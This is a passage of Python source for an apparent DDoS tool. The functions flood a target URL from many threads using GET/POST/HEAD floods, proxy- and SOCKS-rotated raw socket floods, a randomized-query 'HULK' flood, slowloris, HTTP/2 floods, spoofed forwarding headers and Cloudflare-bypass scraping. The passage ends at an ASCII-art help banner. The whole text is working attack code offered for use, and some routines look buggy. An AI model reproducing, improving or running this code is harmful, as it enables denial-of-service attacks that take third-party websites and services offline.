while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
requests.head(url)
requests.head(url)
except:
pass
#endregion
#region POST
def LaunchPOST(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPOST, args=(url, until))
thd.start()
except:
pass
def AttackPOST(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
requests.post(url)
requests.post(url)
except:
pass
#endregion
#region RAW
def LaunchRAW(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackRAW, args=(url, until))
thd.start()
except:
pass
def AttackRAW(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
requests.get(url)
requests.get(url)
except:
pass
#region PXRAW
def LaunchPXRAW(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPXRAW, args=(url, until))
thd.start()
except:
pass
def AttackPXRAW(url, until_datetime):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
proxy = 'http://'+str(random.choice(list(proxies)))
proxy = {
'http': proxy,
'https': proxy,
}
try:
requests.get(url, proxies=proxy)
requests.get(url, proxies=proxy)
except:
pass
#endregion
#region PXSOC
def LaunchPXSOC(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+target['uri'] + " HTTP/1.1\r\n"
req += "Host: " + target['host'] + "\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Connection: Keep-Alive\r\n\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackPXSOC, args=(target, until, req))
thd.start()
except:
pass
def AttackPXSOC(target, until_datetime, req):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
proxy = random.choice(list(proxies)).split(":")
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
s.connect((str(target['host']), int(target['port'])))
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
return
#endregion
#region SOC
def LaunchSOC(url, th, t):
target = get_target(url)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+target['uri']+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Connection: Keep-Alive\r\n\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackSOC, args=(target, until, req))
thd.start()
except:
pass
def AttackSOC(target, until_datetime, req):
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
pass
#hulk
def LaunchHULK(url, th, t):
target = get_target(url)
user_agent = random.choice(useragents)
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+target['uri']+"?"+ str(random.randint(1,1000))+"="+str(random.randint(1,1000))+" HTTP/1.1\r\nHost: " + target['host'] + "\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Connection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n"
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackHULK, args=(target, until, req))
thd.start()
except:
pass
def AttackHULK(target, until_datetime, req):
if target['scheme'] == 'https':
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
s = ssl.create_default_context().wrap_socket(s, server_hostname=target['host'])
else:
s = socks.socksocket()
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.connect((str(target['host']), int(target['port'])))
ctx = ssl.create_default_context()
cipher = [':ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK']
ctx.set_ciphers(cipher)
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
try:
for _ in range(100):
s.send(str.encode(req))
except:
s.close()
except:
pass
#region CFB
def LaunchCFB(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
scraper = cloudscraper.create_scraper()
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFB, args=(url, until, scraper))
thd.start()
except:
pass
def AttackCFB(url, until_datetime, scraper):
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
for _ in range(100):
try:
scraper.get(url, timeout=5)
scraper.post(url, timeout=5)
scraper.head(url, timeout=5)
except:
pass
#endregion
#getCOOOKIE
def attackPXCFB(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=LaunchPXCFB, args=(url, timer)).start()
def LaunchPXCFB(url, timer):
prox = open("./http.txt", 'r').read().split('\n')
proxy = random.choice(prox).strip().split(":")
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+" / HTTP/1.3\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((str(urlparse(url).netloc), int(443)))
ctx = ssl.create_default_context()
cipher = [':ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK']
ctx.set_ciphers(cipher)
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for _ in range(200):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
#region CFPRO
def LaunchCFPRO(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
session = requests.Session()
scraper = cloudscraper.create_scraper(sess=session)
jar = RequestsCookieJar()
jar.set(cookieJAR['name'], cookieJAR['value'])
scraper.cookies = jar
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFPRO, args=(url, until, scraper))
thd.start()
except:
pass
def AttackCFPRO(url, until_datetime, scraper):
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
'TE': 'trailers',
}
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
scraper.get(url=url, headers=headers, allow_redirects=False)
scraper.get(url=url, headers=headers, allow_redirects=False)
except:
pass
#endregion
#region
def LaunchCFSOC(url, th, t):
until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
target = get_target(url)
# cookie, user_agent = get_cookie(url)
req = 'GET '+ target['uri'] +' HTTP/1.1\r\n'
req += 'Host: ' + target['host'] + '\r\n'
req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'
req += 'Accept-Encoding: gzip, deflate, br\r\n'
req += 'Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\n'
req += 'Cache-Control: max-age=0\r\n'
req += 'Cookie: ' + cookie + '\r\n'
req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\n'
req += 'sec-ch-ua-mobile: ?0\r\n'
req += 'sec-ch-ua-platform: "Windows"\r\n'
req += 'sec-fetch-dest: empty\r\n'
req += 'sec-fetch-mode: cors\r\n'
req += 'sec-fetch-site: same-origin\r\n'
req += 'Connection: Keep-Alive\r\n'
req += 'User-Agent: ' + useragent + '\r\n\r\n\r\n'
for _ in range(int(th)):
try:
thd = threading.Thread(target=AttackCFSOC,args=(until, target, req,))
thd.start()
except:
pass
def AttackCFSOC(until_datetime, target, req):
if target['scheme'] == 'https':
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
else:
packet = socks.socksocket()
packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
packet.connect((str(target['host']), int(target['port'])))
while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
try:
for _ in range(10):
packet.send(str.encode(req))
except:
packet.close()
pass
#slowloris
def attackslow(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=Launchslow, args=(url, timer)).start()
def Launchslow(url, timer):
socksCrawler()
prox = open("./socks5.txt", 'r').read().split('\n')
proxy = random.choice(prox).strip().split(":")
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+" / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.connect((str(urlparse(url).netloc), int(443)))
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))
s.send("User-Agent: {}\r\n".format(random.choice(useragents)).encode("utf-8"))
s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
s.send(("Connection:keep-alive").encode("utf-8"))
while True:
time.sleep(14)
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except:
s.close()
Launchslow()
#http2
def attackhttp2(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=Launchhttp2, args=(url, timer)).start()
def Launchhttp2(url, timer):
timelol = time.time() + int(timer)
while time.time() < timelol:
headers = {
'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
'Cache-Control': 'no-cache',
'Pragma': 'no-cache',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'same-origin',
'Sec-Fetch-User': '?1',
# 'TE': 'trailers',
}
proxfile1 = 'http.txt'
prox1 = list(map(lambda x:x.strip(),open(proxfile1)))
value = random.randint(65565, 314159)
proxy1 = random.choice(prox1)
proxies = {'http://': 'http://'+prox1}
# timeout = httpx.Timeout(None, connect=None)
# limits = httpx.Limits(max_keepalive_connections=None, max_connections=None)
with httpx.Client(http2=True,proxies=random.choice(proxies),headers=headers,trust_env=False) as client:
try:
while True:
for _ in range(400):
r1 = client.get(url)
r2 = client.post(url, data={'login': value})
r3 = client.put(url, data={'login': value})
r5 = client.head(url)
except httpx.HTTPError as exc:
pass
#spoof
def spoofer():
addr = [192, 168, 0, 1]
d = '.'
addr[0] = str(random.randrange(11, 197))
addr[1] = str(random.randrange(0, 255))
addr[2] = str(random.randrange(0, 255))
addr[3] = str(random.randrange(2, 254))
assemebled = addr[0] + d + addr[1] + d + addr[2] + d + addr[3]
return assemebled
#spoofmethod
def attackspoof(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=Launchspoof, args=(url, timer)).start()
def Launchspoof(url, timer):
socksCrawler()
prox = open("./socks5.txt", 'r').read().split('\n')
proxy = random.choice(prox).strip().split(":")
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+" / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "X-Forwarded-Proto: Http\r\n"
req += "X-Forwarded-Host: "+urlparse(url).netloc+", 1.1.1.1\r\n"
req += "Via: "+spoofer()+"\r\n"
req += "Client-IP: "+spoofer()+"\r\n"
req += "X-Forwarded-For: "+spoofer()+"\r\n"
req += "Real-IP: "+spoofer()+"\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.connect((str(urlparse(url).netloc), int(443)))
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for i in range(200):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
#sky
def attackSKY(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=LaunchSKY, args=(url, timer)).start()
def LaunchSKY(url, timer):
socksCrawler()
prox = open("./socks5.txt", 'r').read().split('\n')
proxy = random.choice(prox).strip().split(":")
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+" HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.connect((str(urlparse(url).netloc), int(443)))
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for i in range(200):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
#sky
def attackPXHULK(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=LaunchPXHULK, args=(url, timer)).start()
def LaunchPXHULK(url, timer):
socksCrawler()
prox = open("./socks5.txt", 'r').read().split('\n')
proxy = random.choice(prox).strip().split(":")
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+"?="+ str(random.randint(1,1000))+"="+str(random.randint(1,1000))+" / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.connect((str(urlparse(url).netloc), int(443)))
s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for i in range(200):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
#gbp
def attackbypass(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=Launchbypass, args=(url, timer)).start()
def Launchbypass(url, timer):
prox = open("./http.txt", 'r').read().split('\n')
proxy = random.choice(prox).strip().split(":")
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+" / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socks.socksocket()
s.set_proxy(socks.HTTP, str(proxy[0]), int(proxy[1]))
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.connect((str(urlparse(url).netloc), int(443)))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for _ in range(200):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
def attackSTELLAR(url, timer, threads):
for i in range(int(threads)):
threading.Thread(target=LaunchSTELLAR, args=(url, timer)).start()
def LaunchSTELLAR(url, timer):
timelol = time.time() + int(timer)
m = random.choice(method)
user_agent = random.choice(useragents)
req = m + url+" / HTTP/1.1\r\nHost: " + urlparse(url).netloc + "\r\n"
req += "Cache-Control: no-cache\r\n"
req += user_agent +"\r\n"
req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'"
req += "Sec-Fetch-Site: same-origin\r\n"
req += "Sec-GPC: 1\r\n"
req += "Sec-Fetch-Mode: navigate\r\n"
req += "Sec-Fetch-Dest: document\r\n"
req += "Upgrade-Insecure-Requests: 1\r\n"
req += "Connection: Keep-Alive\r\n\r\n"
while time.time() < timelol:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(urlparse(url).netloc), int(443)))
ctx = ssl.SSLContext()
s = ctx.wrap_socket(s, server_hostname=urlparse(url).netloc)
s.send(str.encode(req))
try:
for i in range(200):
s.send(str.encode(req))
s.send(str.encode(req))
except:
s.close()
except:
s.close()
#endregion
#endregion
def clear():
if name == 'nt':
system('cls')
else:
system('clear')
##############################################################################################
def help():
stdout.write(" \n")
stdout.write(" \n")
stdout.write(" "+Fore.LIGHTWHITE_EX +"██╗ ██╗███████╗██╗ ██████╗ \n")
stdout.write(" "+Fore.LIGHTGREEN_EX +"██║ ██║██╔════╝██║ ██╔══██╗ \n")
stdout.write(" "+Fore.LIGHTGREEN_EX +"███████║█████╗ ██║ ██████╔╝ \n")
stdout.write(" "+Fore.LIGHTGREEN_EX +"██╔══██║██╔══╝ ██║ ██╔═══╝ \n")
stdout.write(" "+Fore.LIGHTGREEN_EX +"██║ ██║███████╗███████╗██║ \n")